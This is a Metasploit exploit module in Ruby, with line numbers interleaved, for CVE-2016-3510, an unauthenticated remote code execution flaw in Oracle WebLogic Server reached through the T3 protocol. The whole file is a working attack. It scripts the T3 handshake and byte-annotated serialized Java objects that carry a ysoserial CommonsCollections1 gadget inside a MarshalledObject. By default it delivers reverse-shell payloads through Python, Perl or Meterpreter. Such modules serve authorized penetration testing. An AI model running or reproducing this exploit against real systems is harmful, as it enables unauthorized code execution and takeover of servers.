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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Remote
8
  Rank = ManualRanking
9

10
  include Msf::Exploit::Remote::Tcp
11
  include Msf::Exploit::JavaDeserialization
12

13
  def initialize(info={})
14
    super(update_info(info,
15
      'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject',
16
      'Description' => %q{
17
        An unauthenticated attacker with network access to the Oracle Weblogic Server T3
18
        interface can send a serialized object (weblogic.corba.utils.MarshalledObject)
19
        to the interface to execute code on vulnerable hosts.
20
      },
21
      'Author' =>
22
        [
23
        'Andres Rodriguez',  # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
24
        'Jacob Baines',      # Vulnerability Discovery - Tenable Network Security
25
        'Aaron Soto',        # Reverse Engineering JSO and ysoserial blobs
26
        'Steve Embling'      # T3S support
27
        ],
28
      'License' => MSF_LICENSE,
29
      'References' =>
30
        [
31
          ['CVE', '2016-3510']
32
        ],
33
      'Privileged' => false,
34
      'Platform' => %w{ unix win solaris },
35
      'Targets' =>
36
        [
37
          [ 'Unix',
38
            'Platform' => 'unix',
39
            'Arch' => ARCH_CMD,
40
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
41
            'Payload' => {
42
              'Compat' => {'PayloadType' => 'cmd'}
43
            }
44
          ],
45
          [ 'Windows',
46
            'Platform' => 'win',
47
            'Payload' => {},
48
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
49
          ],
50
          [ 'Solaris',
51
            'Platform' => 'solaris',
52
            'Arch' => ARCH_CMD,
53
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
54
            'Payload' => {
55
              'Space'       => 2048,
56
              'DisableNops' => true,
57
              'Compat'      =>
58
                {
59
                  'PayloadType' => 'cmd',
60
                  'RequiredCmd' => 'generic perl telnet',
61
                }
62
            }
63
          ]
64
        ],
65
      'DefaultTarget' => 0,
66
      'DefaultOptions' => { 'WfsDelay' => 12 },
67
      'DisclosureDate' => '2016-07-19',
68
      'Notes' => {
69
        'Reliability' => [REPEATABLE_SESSION],
70
        'Stability' => [CRASH_SAFE],
71
        'SideEffects' => [IOC_IN_LOGS]
72
      }))
73

74
      register_options([
75
        Opt::RPORT(7001),
76
      ])
77

78
      register_advanced_options([
79
        OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
80
      ])
81
  end
82

83
=begin   This check is currently incompatible with the Tcp mixin.  :-(
84
  def check
85
    resp = send_request_cgi(
86
      'method' => 'GET',
87
      'uri'    => '/console/login/LoginForm.jsp'
88
    )
89

90
    return CheckCode::Unknown unless resp && resp.code == 200
91

92
    unless resp.body.include?('Oracle WebLogic Server Administration Console')
93
      vprint_warning("Oracle WebLogic Server banner cannot be found")
94
      return CheckCode::Unknown
95
    end
96

97
    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
98
    unless version
99
      vprint_warning("Oracle WebLogic Server version cannot be found")
100
      return CheckCode::Unknown
101
    end
102

103
    version = Rex::Version.new(version)
104
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
105
    case
106
    when version.to_s.start_with?('10.3')
107
      return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
108
    when version.to_s.start_with?('12.1.3')
109
      return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
110
    when version.to_s.start_with?('12.2')
111
      return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')
112
    end
113

114
    return CheckCode::Safe
115
  end
116
=end
117

118
  def t3_handshake
119
    # retrieved from network traffic
120
    if !datastore['SSL'] || datastore['FORCE_T3']
121
      shake = 't3'
122
    else
123
      shake = 't3s'
124
    end
125
    shake << " 12.2.1\n"
126
    shake << "AS:255\n"
127
    shake << "HL:19\n"
128
    shake << "MS:10000000\n\n"
129

130
    sock.put(shake)
131
    sleep(1)
132
    sock.get_once
133
  end
134

135
  def build_t3_request_object
136
    # T3 request serialized data
137
    # retrieved by watching network traffic
138
    # This is a proprietary, undocumented protocol
139
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
140
    data =  '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
141
    data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
142
    data << '700000000a000000030000000000000006007070707070700000000a00000003'
143
    data << '0000000000000006007006'
144

145
    data << 'fe010000'                                     # ----- separator -----
146

147
    data << 'aced0005'                                     # JSO v5 header
148
    data << '73'                                           # object header
149
    data << '72001d'                                       # className (29 bytes):
150
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
151
    data << '5461626c65456e747279'                         #   (continued)
152
    data << '2f52658157f4f9ed'                             #   serialVersionUID
153
    data << '0c00007870'                                   #   remainder of object header
154
    data << '72'                                           # object header
155
    data << '00247765626c6f6769632e636f6d6d6f6e2e696e74'   #   className (36 bytes): weblogic.common.internal.PackageInfo
156
    data << '65726e616c2e5061636b616765496e666f'           #   (continued)
157
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
158
    data << '02'                                           #   SC_SERIALIZABLE
159
    data << '0008'                                         #   fieldCount = 8
160
    data << '4900056d616a6f72'                             #     0: Int: major
161
    data << '4900056d696e6f72'                             #     1: Int: minor
162
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
163
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
164
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
165
    data << '4c0009696d706c5469746c65'                     #     5: Obj: implTitle
166
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #        java/lang/String
167
    data << '4c000a696d706c56656e646f72'                   #     6: Obj: implVendor
168
    data << '71007e0003'                                   #        (Handle) 0x007e0003
169
    data << '4c000b696d706c56657273696f6e'                 #     7: Obj: implVersion
170
    data << '71007e0003'                                   #        (Handle) 0x007e0003
171
    data << '78707702000078'                               #   block footers
172

173
    data << 'fe010000'                                     # ----- separator -----
174

175
    data << 'aced0005'                                     # JSO v5 header
176
    data << '7372'                                         # object header
177
    data << '001d7765626c6f6769632e726a766d2e436c6173'     # className (29 bytes): weblogic.rjvm.ClassTableEntry
178
    data << '735461626c65456e747279'                       #    (continued)
179
    data << '2f52658157f4f9ed'                             # serialVersionUID
180
    data << '0c'                                           # EXTERNALIZABLE | BLOCKDATA
181
    data << '00007870'                                     # remainder of object header
182
    data << '72'                                           # object header
183
    data << '00247765626c6f6769632e636f6d6d6f6e2e696'      # className (36 bytes): weblogic.common.internal.VersionInfo
184
    data << 'e7465726e616c2e56657273696f6e496e666f'        #    (continued)
185
    data << '972245516452463e'                             # serialVersionUID
186
    data << '02'                                           # SC_SERIALIZABLE
187
    data << '0003'                                         #   fieldCount = 3
188
    data << '5b0008'                                       #   array header (8 bytes)
189
    data << '7061636b61676573'                             #     ARRAY NAME = 'packages'
190
    data << '740027'                                       #     TC_STRING className1 (39 bytes)
191
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #       weblogic/common/internal/PackageInfo
192
    data << '6e7465726e616c2f5061636b616765496e666f'       #       (continued)
193
    data << '3b'                                           #       (continued)
194
    data << '4c000e'                                       #   object header (14 bytes)
195
    data << '72656c6561736556657273696f6e'                 #     releaseVersion
196
    data << '740012'                                       #     TC_STRING (18 bytes)
197
    data << '4c6a6176612f6c616e672f537472696e673b'         #       versionInfoAsBytes
198
    data << '5b0012'                                       #   array header (18 bytes)
199
    data << '76657273696f6e496e666f41734279746573'         #     ARRAY NAME = java/lang/String;
200
    data << '740002'                                       #     TC_STRING (2 bytes)
201
    data << '5b42'                                         #       0x5b42 = [B
202
    data << '78'                                           # block footer
203

204
    data << '720024'                                       # class (36 bytes)
205
    data << '7765626c6f6769632e636f6d6d6f6e2e696e'         #   weblogic.common.internal.PackageInfo
206
    data << '7465726e616c2e5061636b616765496e666f'         #   (continued)
207
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
208

209
    data << '02'                                           #   SC_SERIALIZABLE
210
    data << '0008'                                         #   fieldCount = 8
211
    data << '4900056d616a6f72'                             #   0: Int: major
212
    data << '4900056d696e6f72'                             #   1: Int: minor
213
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
214
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
215
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
216
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
217
    data << '71'                                           #      TC_REFERENCE
218
    data << '007e0004'                                     #      Handle = 0x007e0004
219
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
220
    data << '71'                                           #      TC_REFERENCE
221
    data << '007e0004'                                     #      Handle = 0x007e0004
222
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
223
    data << '71'                                           #      TC_REFERENCE
224
    data << '007e0004'                                     #      Handle = 0x007e0004
225
    data << '78'                                           # class footer
226
    data << '70'                                           # TC_NULL
227
    data << '77020000'                                     # BLOCKDATA (2 bytes): 0x0000
228
    data << '78'                                           # block footer
229

230
    data << 'fe010000'                                     # ----- separator -----
231

232
    data << 'aced0005'                                     # JSO v5 header
233
    data << '73'                                           # object header
234
    data << '72001d'                                       # className (29 bytes):
235
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
236
    data << '5461626c65456e747279'                         #   (continued)
237
    data << '2f52658157f4f9ed'                             #   serialVersionUID
238
    data << '0c00007870'                                   #   remainder of object header
239
    data << '720021'                                       # className (33 bytes)
240
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   weblogic.common.internal.PeerInfo
241
    data << '65726e616c2e50656572496e666f'                 #   (continued)
242
    data << '585474f39bc908f1'                             #   serialVersionUID
243
    data << '02'                                           #   SC_SERIALIZABLE
244
    data << '0006'                                         #   fieldCount = 6
245
    data << '4900056d616a6f72'                             #     0: Int: major
246
    data << '4900056d696e6f72'                             #     1: Int: minor
247
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
248
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
249
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
250
    data << '5b00087061636b61676573'                       #     5: Array: packages
251
    data << '740027'                                       #        TC_STRING (39 bytes)
252
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #        Lweblogic/common/internal/PackageInfo;
253
    data << '6e7465726e616c2f5061636b616765496e666f'       #        (continued)
254
    data << '3b'                                           #        (continued)
255
    data << '78'                                           # block footer
256
    data << '720024'                                       # class (36 bytes)
257
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   Lweblogic/common/internal/PackageInfo;
258
    data << '65726e616c2e56657273696f6e496e666f'           #   (continued)
259
    data << '972245516452463e'                             #   serialVersionUID
260
    data << '02'                                           #   SC_SERIALIZABLE
261
    data << '0003'                                         #   fieldCount = 3
262
    data << '5b0008'                                       #   0: Array
263
    data << '7061636b6167657371'                           #      packages
264
    data << '007e0003'                                     #      Handle = 0x00730003
265
    data << '4c000e72656c6561736556657273696f6e'           #   1: Obj: releaseVersion
266
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #      Ljava/lang/String;
267
    data << '5b001276657273696f6e496e666f41734279746573'   #   2: Array: versionInfoAsBytes
268
    data << '740002'                                       #      TC_STRING (2 bytes)
269
    data << '5b42'                                         #      VALUE = 0x5b42 = [B
270
    data << '78'                                           # block footer
271
    data << '720024'                                       # class: (36 bytes)
272
    data << '7765626c6f6769632e636f6d6d6f6e2e696e746572'   #   Name = weblogic.common.internal.PackageInfo
273
    data << '6e616c2e5061636b616765496e666f'               #   (continued)
274
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
275
    data << '02'                                           #   SC_SERIALIZABLE
276
    data << '0008'                                         #   fieldCount = 8
277
    data << '4900056d616a6f72'                             #   0: Int: major
278
    data << '4900056d696e6f72'                             #   1: Int: minor
279
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
280
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
281
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
282
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
283
    data << '71'                                           #      TC_REFERENCE
284
    data << '007e0005'                                     #      Handle = 0x007e0005
285
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
286
    data << '71'                                           #      TC_REFERENCE
287
    data << '007e0005'                                     #      Handle = 0x007e0005
288
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
289
    data << '71'                                           #      TC_REFERENCE
290
    data << '007e0005'                                     #      Handle = 0x007e0005
291
    data << '78'                                           # class footer
292
    data << '707702000078'                                 # block footers
293

294
    data << 'fe00ff'                                       # this cruft again.  some kind of footer
295

296
    data << 'fe010000'                                     # ----- separator -----
297

298
    # weblogic.rjvm.JVMID object
299
    data << 'aced0005'                                     # JSO v5 header
300
    data << '73'                                           # object header
301
    data << '720013'                                       #   class (19 bytes)
302
    data << '7765626c6f6769632e726a766d2e4a564d4944'       #   name = 'weblogic.rjvm.JVMID'
303
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
304
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
305
    data << '0000'                                         #   fieldCount = 0   (!!!)
306
    data << '78'                                           # block footer
307
    data << '70'                                           # NULL
308
    data << '7750'                                         # block header (80 bytes)
309
    data << '21'                                           #   !
310
    data << '000000000000000000'                           #   9 NULL BYTES
311
    data << '0d'                                           #   \n
312
    data << '3139322e3136382e312e323237'                         #   192.168.1.227
313
    data << '00'                                           #   \0
314
    data << '12'                                           #      #TODO: UNKNOWN
315
    data << '57494e2d4147444d56515542315436'               #   WIN-AGDMVQUB1T6
316
    data << '2e'                                           #      #TODO: UNKNOWN
317
    data << '656883348cd6000000070000'                     #      #TODO: UNKNOWN
318
    data << rport.to_s(16).rjust(4, '0')                   #   callback port
319
    data << 'ffffffffffffffffffffffffffffffffffffff'       #      #TODO: UNKNOWN
320
    data << 'ffffffffff'                                   #      #TODO: UNKNOWN
321
    data << '78'                                           # block footer
322

323
    data << 'fe010000'                                     # ----- separator -----
324

325
    # weblogic.rjvm.JVMID object
326
    data << 'aced0005'                                     # JSO v5 header
327
    data << '73'                                           # object header
328
    data << '72'                                           #   class
329
    data << '00137765626c6f6769632e726a766d2e4a564d4944'   #   Name: weblogic.rjvm.JVMID
330
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
331
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
332
    data << '0000'                                         #   fieldCount = 0
333
    data << '78'                                           # end block
334
    data << '70'                                           # TC_NULL
335
    data << '77'                                           # block header
336
    data << '20'                                           #   length = 32 bytes
337
    data << '0114dc42bd071a772700'                         #      #TODO: UNKNOWN
338
    data << '0d'                                           #      \n
339
    data << '3234322e3231342e312e323534'                   #      242.214.1.254
340
    data << '61863d1d'                                     #      #TODO: UNKNOWN
341
    data << '00000000'                                     #      NULL BYTES
342
    data << '78'                                           # block footer
343

344
    sock.put([data].pack('H*'))
345
    sleep(1)
346
    sock.get_once
347
  end
348

349
  def send_payload_objdata
350
    # basic weblogic ClassTableEntry object (serialized)
351
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
352
    objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'
353
    objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'
354
    objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
355

356
    objdata << 'fe010000'                                  # ----- separator -----
357

358
    objdata << 'aced0005'                                  # JSO v5 header
359
    objdata << '73'                                        # object header
360
    objdata << '72'                                        #   class
361
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
362
    objdata << '73735461626c65456e747279'                  #   (cont)
363
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
364
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
365
    objdata << '0000'                                      #   fieldCount = 0
366
    objdata << '7870'                                      #   remaining object header
367
    objdata << '72'                                        # class header
368
    objdata << '00025b42'                                  #   Name: 0x5b42
369
    objdata << 'acf317f8060854e0'                          #   serialVersionUID
370
    objdata << '02'                                        #   SERIALIZABLE
371
    objdata << '0000'                                      #   fieldCount = 0
372
    objdata << '7870'                                      #   class footer
373
    objdata << '77'                                        # block header
374
    objdata << '020000'                                    #   contents = 0x0000
375
    objdata << '78'                                        #   block footer
376

377
    objdata << 'fe010000'                                  # ----- separator -----
378

379
    objdata << 'aced0005'                                  # JSO v5 header
380
    objdata << '73'                                        # object header
381
    objdata << '72'                                        #   class
382
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
383
    objdata << '73735461626c65456e747279'                  #   (cont)
384
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
385
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
386
    objdata << '0000'                                      #   fieldCount = 0
387
    objdata << '7870'                                      #   remaining object header
388
    objdata << '72'                                        # class header
389

390
    objdata << '00135b4c6a6176612e6c616e672e4f626a'        #   Name: [Ljava.lang.Object;
391
    objdata << '6563743b'                                  #   (cont)
392
    objdata << '90ce589f1073296c'                          #   serialVersionUID
393
    objdata << '02'                                        #   SERIALIZABLE
394
    objdata << '0000'                                      #   fieldCount = 0
395
    objdata << '7870'                                      #   remaining object header
396
    objdata << '77'                                        # block header
397
    objdata << '020000'                                    #   contents = 0x0000
398
    objdata << '78'                                        #   block footer
399

400
    objdata << 'fe010000'                                  # ----- separator -----
401

402
    objdata << 'aced0005'                                  # JSO v5 header
403
    objdata << '73'                                        # object header
404
    objdata << '72'                                        #   class
405

406
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
407
    objdata << '73735461626c65456e747279'                  #   (cont)
408
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
409
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
410
    objdata << '0000'                                      #   fieldCount = 0
411
    objdata << '7870'                                      #   block footer
412
    objdata << '72'                                        # class header
413
    objdata << '00106a6176612e7574696c2e566563746f72'      #   Name: java.util.Vector
414
    objdata << 'd9977d5b803baf01'                          #   serialVersionUID
415
    objdata << '03'                                        #   WRITE_METHOD | SERIALIZABLE
416
    objdata << '0003'                                      #   fieldCount = 3
417
    objdata << '4900116361706163697479496e6372656d656e74'  #   0: Int: capacityIncrement
418
    objdata << '49000c656c656d656e74436f756e74'            #   1: Int: elementCount
419
    objdata << '5b000b656c656d656e7444617461'              #   2: Array: elementData
420
    objdata << '7400135b4c6a6176612f6c616e672f4f626a6563'  #   3: String: [Ljava/lang/Object;
421
    objdata << '743b'                                      #      (cont)
422
    objdata << '7870'                                      #   remaining object header
423
    objdata << '77'                                        # block header
424
    objdata << '020000'                                    #   contents = 0x0000
425
    objdata << '78'                                        #   block footer
426

427
    objdata << 'fe010000'                                  # ----- separator -----
428

429
    # payload generated from ysoserial and wrapped in a MarshalledObject:
430
    objdata << 'aced0005'                                  # JSO v5 header
431
    objdata << '73'                                        # object header
432
    objdata << '72'                                        #   class header
433

434
    objdata << '00257765626c6f6769632e636f7262612e757469'  #     Name = weblogic.corba.utils.MarshalledObject
435
    objdata << '6c732e4d61727368616c6c65644f626a656374'    #       (cont)
436
    objdata << '592161d5f3d1dbb6'                          #     serialVersionUID
437
    objdata << '02'                                        #     SERIALIZABLE
438
    objdata << '0002'                                      #     fieldCount = 2
439
    objdata << '49000468617368'                            #     0: Int: hash
440
    objdata << '5b00086f626a4279746573'                    #     1: Array: objBytes
441
    objdata << '7400025b42'                                #        Value: 0x5b42
442
    objdata << '7870'                                      #     class footer
443
                                                           #   class Data:
444
    objdata << '21210fdc'                                  #     hash = 0x21210fdc (555814876d)
445
    objdata << '757200025b42'                              #     objBytes = [ 0x5b42 ]
446
    objdata << 'acf317f8060854e0'                          #     serialVersionUID
447
    objdata << '02'                                        #     SERIALIZABLE
448
    objdata << '0000'                                      #     fieldCount = 0
449
    objdata << '7870'                                      #   class footer
450
    objdata << '0000'                                      #   arraySize (first two bytes)
451

452
    # java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe
453
    java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)
454
    objdata << (java_payload.length).to_s(16).rjust(4, '0')# arraySize (lower two bytes)
455
    objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
456

457
    # basic weblogic ImmutableServiceContext object (serialized)
458
    objdata << 'fe010000'                                  # ----- separator -----
459

460
    objdata << 'aced0005'                                  # JSO v5 header
461
    objdata << '73'                                        # object header
462
    objdata << '72'                                        #   class
463
    objdata << '00257765626c6f6769632e726a766d2e496d6d75'  #   Name = weblogic.rjvm.ImmutableServiceContext
464
    objdata << '7461626c6553657276696365436f6e74657874'    #     (cont)
465
    objdata << 'ddcba8706386f0ba'                          #   serialVersionUID
466
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
467
    objdata << '0000'                                      #   fieldCount = 0
468
    objdata << '78'                                        #   remainder of object header
469
    objdata << '72'                                        # class header
470
    objdata << '00297765626c6f6769632e726d692e70726f7669'  #   Name: weblogic.rmi.provider.BasicServiceContext
471
    objdata << '6465722e426173696353657276696365436f6e74'  #     (cont)
472
    objdata << '657874'                                    #     (cont)
473
    objdata << 'e4632236c5d4a71e'                          #    serialVersionUID
474
    objdata << '0c'                                        #    SERIALIZABLE | BLOCKDATA
475
    objdata << '0000'                                      #    fieldCount = 0
476
    objdata << '78'                                        #    block footer
477
    objdata << '70'                                        #    TC_NULL
478
    objdata << '77'                                        #  block header
479
    objdata << '020600'                                    #    Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW  #TODO: WHY?
480
    objdata << '73'                                        #    object header
481
    objdata << '72'                                        #      class description
482
    objdata << '00267765626c6f6769632e726d692e696e746572'  #        Name = weblogic.rmi.internal.MethodDescriptor
483
    objdata << '6e616c2e4d6574686f6444657363726970746f72'  #          (cont)
484
    objdata << '12485a828af7f67b'                          #        serialVersionUID
485
    objdata << '0c'                                        #    EXTERNALIZABLE | BLOCKDATA
486
    objdata << '0000'                                      #    fieldCount = 0
487
    objdata << '78'                                        #    block footer
488
    objdata << '70'                                        #    TC_NULL
489
    objdata << '77'                                        #  block header
490
    objdata << '34002e61757468656e746963617465284c776562'  #   HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;)
491
    objdata << '6c6f6769632e73656375726974792e61636c2e55'  #     (cont)
492
    objdata << '736572496e666f3b290000001b'                #     (cont)
493
    objdata << '78'                                        #   block footer
494
    objdata << '78'                                        # object footer
495

496
    objdata << 'fe00ff'                                    # this cruft again.  some kind of footer
497

498
    # sets the length of the stream
499
    data = ((objdata.length >> 1) + 4).to_s(16).rjust(8,'0')
500
    data << objdata
501

502
    sock.put([data].pack('H*'))
503
    sleep(1)
504
    sock.get_once
505
  end
506

507
  def exploit
508
    connect
509

510
    print_status('Sending handshake...')
511
    t3_handshake
512

513
    print_status('Sending T3 request object...')
514
    build_t3_request_object
515

516
    print_status('Sending client object payload...')
517
    send_payload_objdata
518

519
    handler
520
    disconnect
521
  end
522
end
523

524